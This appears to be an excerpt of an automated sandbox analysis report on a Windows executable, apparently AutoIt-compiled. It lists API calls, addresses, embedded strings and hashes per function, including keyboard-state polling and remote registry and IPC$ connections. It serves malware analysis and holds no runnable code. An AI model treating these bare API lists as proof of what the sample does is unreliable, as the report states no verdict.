                              • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                              • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                              • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                              • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                              APIs
                                • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                              • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                              • _wcscpy.LIBCMT ref: 00475F18
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                              • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                              • API String ID: 3052893215-4176887700
                              • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                              • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                              • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                              • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                              APIs
                              • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                              • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                              • RegQueryValueExW.ADVAPI32 ref: 00458381
                              • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                              • RegQueryValueExW.ADVAPI32 ref: 004583E8
                              • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                              • RegCloseKey.ADVAPI32(?), ref: 004584BA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                              • String ID: Version$\TypeLib$interface\
                              • API String ID: 656856066-939221531
                              • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                              • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                              • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                              • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                              APIs
                              • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                              • __swprintf.LIBCMT ref: 0045E6EE
                              • _printf.LIBCMT ref: 0045E7A9
                              • _printf.LIBCMT ref: 0045E7D2
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: LoadString_printf$__swprintf_wcslen
                              • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                              • API String ID: 3590180749-2354261254
                              • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                              • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                              • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                              • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __swprintf_wcscpy$__i64tow__itow
                              • String ID: %.15g$0x%p$False$True
                              • API String ID: 3038501623-2263619337
                              • Opcode ID: 7e05bcd9e2404d5900448c0fd088cae6e51159eb800a8f0db5a010da26838fc3
                              • Instruction ID: 2d826072eebb3cc9b8b6a8fde8b9da0ebc7f558755c715a4a51c402ed3db85ba
                              • Opcode Fuzzy Hash: 7e05bcd9e2404d5900448c0fd088cae6e51159eb800a8f0db5a010da26838fc3
                              • Instruction Fuzzy Hash: 5741E5B2504204ABD700EF35EC06EAB73A4EB95304F04892FFD0997282F67DD619976E
                              APIs
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • _memset.LIBCMT ref: 00458194
                              • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                              • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                              • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                              • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                              • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                              • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                              • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                              • API String ID: 2255324689-22481851
                              • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                              • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                              • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                              • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                              APIs
                              • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                              • RegCloseKey.ADVAPI32(?), ref: 00458615
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                              • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                              • __wcsicoll.LIBCMT ref: 004585D6
                              • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                              • RegCloseKey.ADVAPI32(?), ref: 004585F8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                              • String ID: ($interface$interface\
                              • API String ID: 2231185022-3327702407
                              • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                              • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                              • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                              • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                              APIs
                              • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                              • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                              • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                              • _wcscpy.LIBCMT ref: 004365F5
                              • WSACleanup.WSOCK32 ref: 004365FD
                              • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                              • _strcat.LIBCMT ref: 0043662F
                              • _wcscpy.LIBCMT ref: 00436644
                              • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                              • _wcscpy.LIBCMT ref: 00436666
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                              • String ID: 0.0.0.0
                              • API String ID: 2691793716-3771769585
                              • Opcode ID: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                              • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                              • Opcode Fuzzy Hash: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                              • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                              APIs
                              • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                              • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                              • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                              • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                              • __lock.LIBCMT ref: 00416B8A
                              • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                              • __lock.LIBCMT ref: 00416BAB
                              • ___addlocaleref.LIBCMT ref: 00416BC9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                              • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                              • API String ID: 1028249917-2843748187
                              • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                              • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                              • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                              • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                              APIs
                              • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                              • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                              • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                              • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                              • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                              • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$CharNext
                              • String ID:
                              • API String ID: 1350042424-0
                              • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                              • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                              • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                              • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                              APIs
                              • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                              • SetKeyboardState.USER32(?), ref: 00453C5A
                              • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                              • GetKeyState.USER32(000000A0), ref: 00453C99
                              • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                              • GetKeyState.USER32(000000A1), ref: 00453CDA
                              • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                              • GetKeyState.USER32(00000011), ref: 00453D15
                              • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                              • GetKeyState.USER32(00000012), ref: 00453D4D
                              • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                              • GetKeyState.USER32(0000005B), ref: 00453D85
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: State$Async$Keyboard
                              • String ID:
                              • API String ID: 541375521-0
                              • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                              • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                              • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                              • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                              APIs
                              • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                              • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                              • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                              • GetDlgItem.USER32(?,00000002), ref: 00437E70
                              • GetWindowRect.USER32(00000000,?), ref: 00437E82
                              • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                              • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                              • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                              • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                              • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                              • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                              • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$ItemMoveRect$Invalidate
                              • String ID:
                              • API String ID: 3096461208-0
                              • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                              • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                              • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                              • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                              • String ID:
                              • API String ID: 136442275-0
                              • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                              • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                              • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                              • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ConnectRegistry_wcslen
                              • String ID: HH
                              • API String ID: 535477410-2761332787
                              • Opcode ID: dd977f09bea9308b610c7238e96fb584538275b520f46e9374bb1ad9d3878166
                              • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                              • Opcode Fuzzy Hash: dd977f09bea9308b610c7238e96fb584538275b520f46e9374bb1ad9d3878166
                              • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                              APIs
                              • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                              • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                              • _wcslen.LIBCMT ref: 00460502
                              • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                              • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                              • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                              • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                              • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                              • GetWindowRect.USER32(?,?), ref: 004606AD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                              • String ID: ThumbnailClass
                              • API String ID: 4123061591-1241985126
                              • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                              • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                              • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                              • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                              APIs
                                • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                              • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                              • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                              • ImageList_EndDrag.COMCTL32 ref: 0046F583
                              • ReleaseCapture.USER32 ref: 0046F589
                              • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                              • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                              • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                              • API String ID: 2483343779-2060113733
                              • Opcode ID: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
